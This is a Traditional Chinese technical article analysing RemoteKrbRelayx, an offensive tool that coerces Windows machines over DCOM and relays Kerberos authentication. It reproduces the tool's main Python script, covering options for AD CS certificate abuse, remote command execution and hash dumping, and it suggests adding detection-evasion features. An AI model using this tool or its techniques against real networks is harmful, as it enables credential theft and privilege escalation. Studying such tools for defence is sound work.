摘要

本報告提供對 RemoteKrbRelayx 的全面技術分析,這是一個基於 Python 的工具,設計用於透過 DCOM 和 RPC 強制並中繼 Kerberos 認證。我們深入探討其架構設計、核心功能以及支撐其運作的底層技術原理。本報告檢視 RemoteKrbRelayx 如何利用現有安全研究和工具,特別聚焦於其整合 DCOM/RPC 強制機制和 Kerberos 中繼技術。此外,我們分析其命令列介面、關鍵參數以及實際攻擊場景,包括其在 Active Directory 憑證服務(Active Directory Certificate Services, AD CS)中繼攻擊(Relay attack)和伺服器訊息區塊(SMB)攻擊中的應用。目標是提供對該工具功能及其在網路安全和滲透測試領域影響的詳細理解。

RemoteKrbRelayx:進階 DCOM 與 RPC 中繼攻擊 | 資訊安全新聞

簡介

Kerberos 是一個廣泛採用的網路認證協定,透過使用秘密金鑰加密技術為客戶端/伺服器應用程式提供強大的認證。然而,與許多複雜協定一樣,當與其他 Windows 通訊機制(如分散式元件物件模型(Distributed Component Object Model, DCOM)和遠端程序呼叫(Remote Procedure Call, RPC))結合時,它可能容易受到各種攻擊向量的影響。RemoteKrbRelayx 是一個專門的 Python 工具,利用這些互動來促進 Kerberos 認證中繼。該工具建立在先前研究和開源專案的基礎上,包括 Michael Zhmaylo 的 RemoteKrbRelay、Sylvain Heiniger 的 potato.py 和 rpcrelayserver.py,以及 Dirk-jan Mollema 的 KrbRelayx [Original GitHub README]。本報告旨在剖析 RemoteKrbRelayx 的技術細節,深入探討其架構、使用的程式設計方法(Programming Paradigm)以及支撐其功能的具體技術原理。我們將探索它如何透過 DCOM 強制來觸發認證,並隨後將 Kerberos 票證中繼到目標服務,從而啟用各種後續攻擊活動。

技術分析

核心架構與元件

RemoteKrbRelayx 主要以 Python 撰寫,利用多個強大的程式庫,最著名的是 Impacket 。Impacket 是一組用於處理網路協定的 Python 類別,提供對封包和協定的低階程式存取,是處理複雜 DCOM、RPC 和 Kerberos 互動的關鍵工具。該工具的架構可分為幾個關鍵元件:

  • 強制機制(Potato): 該工具整合了受 potato.py 啟發的機制,用於強制目標機器向受控的監聽器進行認證。這通常涉及利用 DCOM 服務中的漏洞或設定錯誤,觸發目標系統向攻擊者控制的 IP 地址發起認證嘗試。 -clsid 參數允許指定 DCOM CLSID,預設為 d99e6e74-fc88-11d0-b498-00a0c90312f3 CertifiedDCOM),此 CLSID 可被利用進行強制認證。
  • RPC 中繼伺服器: RemoteKrbRelayx 的核心是一個 RPC 中繼伺服器( RPCRelayServer )。此伺服器監聽從目標強制來的認證嘗試。當接收到認證請求時,它作為中介,將 Kerberos 認證材料中繼到指定的中繼目標。該伺服器設計用於處理 Kerberos 認證的細微差別,包括服務主體名稱(Service Principal Name, SPN)處理和多種認證類型(negotiate、kerberos、ntlm)。
  • 設定管理(RemoteKrbRelayxConfig): 專用的設定類別( RemoteKrbRelayxConfig )管理所有操作參數,包括本機 IP、中繼目標、認證類型和特定攻擊選項。這種集中化的設定確保了支援的各種攻擊向量的模組化和易於管理。
  • 協定客戶端與攻擊模組: 該工具與 Impacket 的協定客戶端和攻擊模組( PROTOCOL_CLIENTS PROTOCOL_ATTACKS )整合。這使 RemoteKrbRelayx 能在認證後執行多種操作,例如 dump hashes、執行命令或與 Active Directory 憑證服務(AD CS)互動。

DCOM 強制與 RPC 中繼

RemoteKrbRelayx 的基本原理在於其強制目標機器向攻擊者控制的監聽器發起認證連線的能力。這通常透過與特定 DCOM 介面互動實現,這些介面在被呼叫時會導致目標向遠端伺服器進行認證。 -coerce-to 參數允許指定目標應被強制連線的 IP 地址或主機名稱。若未指定,則使用 -local-ip 地址(攻擊者的監聽 IP)。

一旦目標進行認證,RPC 中繼伺服器會攔截 Kerberos 認證流量。伺服器不直接認證目標,而是將 Kerberos 票證中繼到指定的 -relay-target 。此中繼目標可以是網路中的另一個服務或伺服器,使攻擊者能以被強制的用戶身份對該服務進行認證。該工具專注於中繼 Kerberos 認證,僅在指定 -alternate-server (通常是 ntlmrelayx.py 實例)時支援 NTLM 中繼。

中繼過程的一個關鍵面向是服務主體名稱(SPN)的處理。 -spn 參數允許攻擊者指定用於 Kerberos 中繼的 SPN。此 SPN 包含在 ResolveOxid2 回應中,確保僅中繼具有指定 SPN 的 Kerberos 認證,從而提供對中繼過程的控制。

程式碼解讀

讓我們檢視 remoteKrbRelayx.py 腳本的關鍵部分,以了解其操作流程和不同元件之間的互動。

  1. import warnings
  2. warnings.simplefilter("ignore")
  3. import sys
  4. import argparse
  5. import logging
  6. import time
  7. from impacket.examples import logger, utils
  8. from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
  9. from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
  10. from remotekrbrelayx.potato import Potato
  11. from remotekrbrelayx.rpcrelayserver import RPCRelayServer
  12. from remotekrbrelayx.config import RemoteKrbRelayxConfig
  13. import sys
  14. from remotekrbrelayx.krbrelayx.lib.clients import getClients
  15. RELAY_SERVERS = (RPCRelayServer,)
  16. PROTOCOL_CLIENTS = getClients()
  17. def stop_servers(threads):
  18. todelete = []
  19. for thread in threads:
  20. if isinstance(thread, RELAY_SERVERS):
  21. thread.server.shutdown()
  22. todelete.append(thread)
  23. for thread in todelete:
  24. threads.remove(thread)
  25. del thread
  26. def main():
  27. logger.init()
  28. parser = argparse.ArgumentParser(add_help = True, description = "RemoteKrbRelayx - A tool for coercing and relaying Kerberos authentication over DCOM and RPC. By Ole Fredrik Borgundvåg Berg / Helse- og KommuneCERT (@olefredrikberg)")
  29. parser.add_argument(\'target\', action=\'store\', help=\'[[domain/]username[:password]@]\')
  30. parser.add_argument(\'-debug\', action=\'store_true\', help=\'Turn DEBUG output ON\')
  31. parser.add_argument(\'-lootdir\', action=\'store\', type=str, required=False, metavar=\'LOOTDIR\', default=\'.\', help=\'Loot directory in which gathered loot (like certificates or dumps) will be stored (default: current directory).\')
  32. group = parser.add_argument_group(\'potato\')
  33. group.add_argument(\'-clsid\', action=\'store\', metavar="CLSID", help=\'A DCOM CLSID (default is d99e6e74-fc88-11d0-b498-00a0c90312f3, which is CertifiedDCOM)\'\', default=\'d99e6e74-fc88-11d0-b498-00a0c90312f3\')
  34. group.add_argument(\'-session-id\', action=\'store\', help=\'Session ID to perform cross-session activation. Must most likely be used in conjunction with CredMarshal-trick, as using it will generally lead to STATUS_BAD_IMPERSONATION_LEVEL-error when relaying after Resolve0xid2 (default to nothing = SYSTEM activation)\'\')
  35. group.add_argument(\'-coerce-to\', action=\'store\', metavar="HOSTNAME OR IP", help=\'The hostname or IP address to coerce the target to connect to. If not specified, the -local-ip address will be used. This is typically used when trying for cross-session activation with CredMarshal-trick or when using port-forwarding.\')
  36. group = parser.add_argument_group(\'listener\')
  37. group.add_argument(\'-local-ip\', action=\'store\', metavar="IP", help=\'The local IP address to listen on (and coerce the target to connect to if -coerce-to is not specified)\'\', required=True)
  38. group.add_argument(\'-ipv6\', action=\'store_true\',help=\'Use IPv6\')
  39. group = parser.add_argument_group(\'relay\')
  40. group.add_argument(\'-spn\', action=\'store\', metavar="PROTOCOL/SERVER", help=\'SPN to use for the kerberos relaying. This SPN will be in the ResolveOxid2 response and only kerberos with this SPN will be relayed (default HOST/[relay-target])\')
  41. group.add_argument(\'-authentication-type\', action=\'store\', help=\'The type of authentication to requested from the target in the ResolveOxid2 response. This tools only supports relaying kerberos or negotiate of kerberos variety. NTLM is only supported when using alternate relay server. (default is kerberos)\'\', default=\'kerberos\', choices=[\'negotiate\', \'kerberos\', \'ntlm\'])
  42. group.add_argument(\'-relay-target\', action=\'store\', metavar="PROTOCOL://SERVER", help=\'The target to relay to, in the form of PROTOCOL://server[:port][/path]. Required if not using alternate relay server\')
  43. group = parser.add_argument_group(\'alternate relay server\')
  44. group.add_argument(\'-alternate-server\', action=\'store\', metavar="HOSTNAME OR IP", help=\'The alternate server for Resolve0xid2 to redirect to instead of using this tool\\\'s RPC relay server. Typically a server running ntlmrelayx.py.\')
  45. group.add_argument(\'-alternate-protocol\', action=\'store\', help=\'The protocol to use for the alternate relay server. Required if -alternate-server is specified\', choices=[\'smb\', \'rpc\'])
  46. group.add_argument(\'-alternate-rpc-port\', action=\'store\', metavar="PORT", type=int, default=135, help=\'The alternate server port for RPC requests (default 135)\'\')
  47. group.add_argument(\'-alternate-smb-pipe\', action=\'store\', metavar="PIPE", default=\'svcctl\', help=\'The alternate server pipe for SMB requests (default svcctl)\'\')
  48. group = parser.add_argument_group(\'authentication\')
  49. group.add_argument(\'-hashes\', action="store", metavar = "LMHASH:NTHASH", help=\'NTLM hashes, format is LMHASH:NTHASH\')
  50. group.add_argument(\'-no-pass\', action="store_true", help=\'don\\\'t ask for password (useful for -k)\'\')
  51. group.add_argument(\'-k\', action="store_true", help=\'Use Kerberos authentication. Grabs credentials from ccache file \'\
  52. \'(KRB5CCNAME) based on target parameters. If valid credentials \'\
  53. \'cannot be found, it will use the ones specified in the command \'\
  54. \'line\')
  55. group.add_argument(\'-aesKey\', action="store", metavar = "HEX_KEY", help=\'AES key to use for Kerberos Authentication \'\
  56. \'(128 or 256 bits)\'\')
  57. group.add_argument(\'-dc-ip\', action=\'store\', metavar="IP",
  58. help=\'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in \'\
  59. \'the target parameter\')
  60. group = parser.add_argument_group("AD CS attack options")
  61. group.add_argument(\'-adcs\', action=\'store_true\', required=False, help=\'Enable AD CS relay attack\')
  62. group.add_argument(\'-template\', action=\'store\', metavar="TEMPLATE", required=False, help=\'AD CS template. Defaults to Machine or User whether relayed account name ends with `$`\. Relaying a DC should require specifying `DomainController`\')
  63. group.add_argument(\'-altname\', action=\'store\', metavar="ALTNAME", required=False, help=\'Subject Alternative Name to use when performing ESC1 or ESC6 attacks.\')
  64. group.add_argument(\'-victim\', action=\'store\', metavar = \'TARGET\', help=\'Victim username or computername$, to request the correct certificate name.\')
  65. group = parser.add_argument_group("SMB attack options")
  66. group.add_argument(\'-no-smb2support\', action="store_true", default=False, help=\'Disable SMB2 Support\')
  67. group.add_argument(\'-e\', action=\'store\', required=False, metavar=\'FILE\', help=\'File to execute on the target system. \'\
  68. \'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)\'\')
  69. group.add_argument(\'-c\', action=\'store\', type=str, required=False, metavar=\'COMMAND\', help=\'Command to execute on \'\
  70. \'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same \'\
  71. \'directory).\')
  72. group.add_argument(\'-codec\', action=\'store\', help=\'Sets encoding used (codec) from the target\\\'s output (default "%s"). \' % sys.getdefaultencoding())
  73. group.add_argument(\'-interactive\', action=\'store_true\',help=\'Launch an smbclient instead\'\
  74. \'of executing a command after a successful relay. This console will listen locally on a \'\
  75. \' tcp port and can be reached with for example netcat.\')
  76. if len(sys.argv) == 1:
  77. parser.print_help()
  78. sys.exit(1)
  79. options = parser.parse_args()
  80. if options.debug is True:
  81. logging.getLogger().setLevel(logging.DEBUG)
  82. else:
  83. logging.getLogger().setLevel(logging.INFO)
  84. if options.alternate_server is not None and options.alternate_protocol is None:
  85. parser.error(\'You must specify the protocol to use for the alternate relay server with -alternate-protocol\')
  86. if not options.alternate_server and options.authentication_type == \'ntlm\':
  87. parser.error(\'Coercing NTLM authentication is only supported with alternate relay server. Set -alternate-server or use kerberos or negotiate instead.\')
  88. if not options.relay_target and not options.alternate_server:
  89. parser.error(\'You must specify a relay target with -relay-target or an alternate server with -alternate-server\')
  90. domain, username, password, address = utils.parse_target(options.target)
  91. if domain is None:
  92. domain = \'\'
  93. if password == \'\' and username != \'\' and options.hashes is None and options.no_pass is False and options.aesKey is None:
  94. from getpass import getpass
  95. password = getpass("Password: ")
  96. if options.aesKey is not None:
  97. options.k = True
  98. if options.codec is not None:
  99. codec = options.codec
  100. else:
  101. codec = sys.getdefaultencoding()
  102. if options.coerce_to is None:
  103. options.coerce_to = options.local_ip
  104. if options.relay_target is None:
  105. # Add dummy relay target so I don\'t have to add logic to handle no relay target in the relay server
  106. options.relay_target = "smb://localhost"
  107. mode = \'RELAY\'
  108. relayTargetProcessor = TargetsProcessor(singleTarget=options.relay_target, protocolClients=PROTOCOL_CLIENTS)
  109. relayTarget = relayTargetProcessor.getTarget()
  110. if options.spn is None:
  111. options.spn = f"HOST/{relayTarget.hostname}"
  112. options.local_port = 135
  113. threads = set()
  114. c = RemoteKrbRelayxConfig()
  115. c.setProtocolClients(PROTOCOL_CLIENTS)
  116. c.setTargets(relayTargetProcessor)
  117. c.setExeFile(options.e)
  118. c.setCommand(options.c)
  119. c.setAddComputerSMB(None)
  120. c.setAttacks(PROTOCOL_ATTACKS)
  121. c.setInterfaceIp(options.local_ip)
  122. if options.altname:
  123. c.setAltName(options.altname)
  124. c.setKrbOptions(None, options.victim)
  125. c.setIsADCSAttack(options.adcs)
  126. c.setADCSOptions(options.template)
  127. c.setSPN(options.spn)
  128. c.setListeningPort(options.local_port)
  129. c.setMode(mode)
  130. c.setLootdir(options.lootdir)
  131. c.setSMB2Support(not options.no_smb2support)
  132. c.setEncoding(codec)
  133. c.setAuthenticationType(options.authentication_type)
  134. c.setIPv6(options.ipv6)
  135. c.setAlternateServer(options.alternate_server)
  136. c.setAlternateRpcPort(options.alternate_rpc_port)
  137. c.setAlternateSmbPipe(options.alternate_smb_pipe)
  138. c.setAlternateProtocol(options.alternate_protocol)
  139. c.setCoerceTo(options.coerce_to)
  140. c.setInteractive(options.interactive)
  141. s = RPCRelayServer(c)
  142. s.start()
  143. threads.add(s)
  144. potato = Potato(domain, username, password, address, options)
  145. potato.run()
  146. while True:
  147. if s.server.attack_thread is not None and not options.interactive:
  148. s.server.attack_thread.join()
  149. break
  150. if all(not thread.is_alive() for thread in threads):
  151. break
  152. time.sleep(0.1)
  153. stop_servers(threads)
  154. sys.exit(0)
  155. if __name__ == \'__main__\':
  156. main()

腳本首先從 Impacket 和其客制化模組( potato rpcrelayserver config krbrelayx.lib.clients )匯入必要的模組。 argparse 模組用於定義一組全面的命令列參數,讓用戶能控制強制、監聽、中繼和攻擊選項的各個面向。

main 函數負責協調整個流程:

  1. 參數解析: 解析命令列參數,設定日誌記錄並執行初始驗證檢查(例如,確保若使用 -alternate-server ,則指定 -alternate-protocol )。
  2. 目標解析: 使用 Impacket utils.parse_target(options.target) 函數,從提供的目標字串中提取網域、用戶名稱、密碼和目標地址。
  3. 設定: 建立並填充 RemoteKrbRelayxConfig 實例,包含所有解析的選項。此設定物件作為所有操作參數的中央儲存庫,隨後傳遞給中繼伺服器和攻擊模組。
  4. RPC 中繼伺服器初始化: 初始化一個 RPCRelayServer 實例( s ),並以設定選項啟動為獨立執行緒。此伺服器負責監聽傳入的 DCOM/RPC 連線並處理 Kerberos 中繼。
  5. 強制執行: 使用目標的認證資料和解析選項實例化一個 Potato 物件。隨後呼叫 potato.run() 方法,啟動 DCOM 強制流程,迫使目標向攻擊者的監聽器進行認證。
  6. 攻擊執行緒管理: 腳本進入迴圈,等待 RPCRelayServer 內的攻擊執行緒完成(若非互動模式)或所有執行緒結束。這確保在中繼和後續攻擊執行完畢前腳本不會退出。
  7. 伺服器關閉: 最後,呼叫 stop_servers 函數以正常關閉 RPC 中繼伺服器。

Impacket 的依賴在整個程式碼中顯而易見,特別是在處理低階網路協定和認證機制方面。模組化的設計,包含用於設定、中繼和強制的獨立類別,增強了工具的靈活性和擴展性。

觀察與洞見

RemoteKrbRelayx 展示了透過整合 DCOM/RPC 強制進行 Kerberos 中繼的精妙方法。其設計與功能帶來幾個關鍵觀察與洞見:

  • 利用既有技術: 該工具有效結合並擴展了來自 RemoteKrbRelay potato.py rpcrelayserver.py KrbRelayx 等專案的知名技術。這種模組化整合使其受益於已建立的研究和攻擊方法,提供穩健的 Kerberos 中繼框架。
  • 強制與中繼的靈活性: 廣泛的命令列選項提供了顯著的靈活性。用戶可指定不同的 DCOM CLSID 來進行強制認證,選擇直接中繼或使用替代 NTLM 中繼伺服器,並定義特定的 SPN 進行目標 Kerberos 中繼。這種適應性使其成為適用於各種網路環境和攻擊場景的多功能工具。
  • AD CS 與 SMB 攻擊整合: 包含專用選項用於 AD CS 中繼攻擊( -adcs -template -altname -victim )和 SMB 攻擊選項( -e 用於檔案執行、 -c 用於命令執行、 -interactive 用於 smbclient),突顯了其超越簡單認證中繼的實用性。它可直接促進 Active Directory 環境中的權限提升或橫向移動,透過中繼的 Kerberos 票證與憑證授權機構或 SMB 共享等敏感服務互動。
  • CredMarshal-trick 意識: README 明確提及 CredMarshal-trick 及其與跨 session 中繼的相關性。這顯示出對不斷演進的攻擊技術和更新程式的意識,表明該工具旨在動態威脅環境中保持相關性。關於 CVE-2025-33073 及其對 SMB 而非 RPC/HTTP 的 CredMarshal-trick 影響的註記,對從業者來說是一個關鍵細節。
  • Python 與 Impacket 的協同作用: 選擇 Python 並高度依賴 Impacket 程式庫是一大優勢。Impacket 提供了一個穩健且維護良好的框架,用於以低階方式與 Windows 協定互動,抽象化了 DCOM、RPC 和 Kerberos 的複雜性。這使 RemoteKrbRelayx 能專注於攻擊邏輯,而無需重新發明協定實作的輪子。
  • 以 Linux 為中心開發: README 明確指出該工具主要在 Linux 上進行測試。雖然 Python 是跨平台的,但其底層 Windows 協定互動和攻擊性質(針對 Windows 環境)意味著其操作穩定性和完整功能集可能在基於 Linux 的攻擊機器上表現最佳。這是許多與 Windows 基礎設施互動的進攻性安全工具的常見特徵。

未來展望

Kerberos 和 Active Directory 安全的環境不斷演進,新的攻擊向量和防禦措施定期出現。對於 RemoteKrbRelayx,未來開發和增強可探索以下幾個領域:

  • 擴展強制方法: 雖然 DCOM 強制有效,但探索並整合額外的強制技術(例如,印表機漏洞、PetitPotam 變體或其他特定協定的強制)可擴大工具的適用性並增強對修補 DCOM CLSID 的抵抗力。
  • 進階 Kerberos 功能: 與進階 Kerberos 功能的更深入整合,例如限制/非限制委派濫用或 S4U2self/S4U2proxy 攻擊,可解鎖更複雜的中繼場景和後續利用機會。
  • 跨平台相容性: 雖然目前以 Linux 為中心,改善跨平台相容性,特別是針對基於 Windows 的攻擊機器,可增加其用戶群和在某些場景中的部署便利性。這可能涉及解決作業系統特定的依賴和網路堆疊行為的潛在差異。
  • 檢測規避技術: 隨著防禦能力的提升,融入規避端點檢測與回應(Endpoint Detection and Response, EDR)解決方案和網路入侵檢測系統(Network Intrusion Detection System, NIDS)的技術將至關重要。這可能涉及混淆、看似合法的流量模式或利用較少監控的協定。
  • 與其他框架整合: 與其他熱門滲透測試框架或工具(例如,Metasploit、Covenant)的進一步整合,可簡化工作流程並啟用更複雜的攻擊鏈。
  • 自動化目標列舉: 實作自動發現網路中可強制目標或易受攻擊服務的功能,可顯著提升工具在較大環境中的效率。

結論

RemoteKrbRelayx 是網路滲透測試者和紅隊的強大工具,提供透過 DCOM 和 RPC 進行 Kerberos 認證中繼的流暢方法。其優勢在於智慧整合已建立的強制技術與穩健的中繼能力,全建構於多功能的 Impacket 程式庫之上。該工具針對 Active Directory 關鍵元件(如 AD CS 和 SMB 共享)的攻擊能力,突顯了其對組織安全態勢的重大影響。透過剖析其架構、程式碼和操作原理,本報告強調了 RemoteKrbRelayx 如何有效橋接 DCOM/RPC 漏洞與 Kerberos 認證繞過。雖然強大,其持續效能將取決於適應不斷演進的防禦策略和新漏洞發現的持續開發。理解 RemoteKrbRelayx 採用的機制不僅對進攻性安全從業者至關重要,對尋求強化其 Kerberos 和 Active Directory 環境以抵禦複雜中繼攻擊的防禦者同樣重要。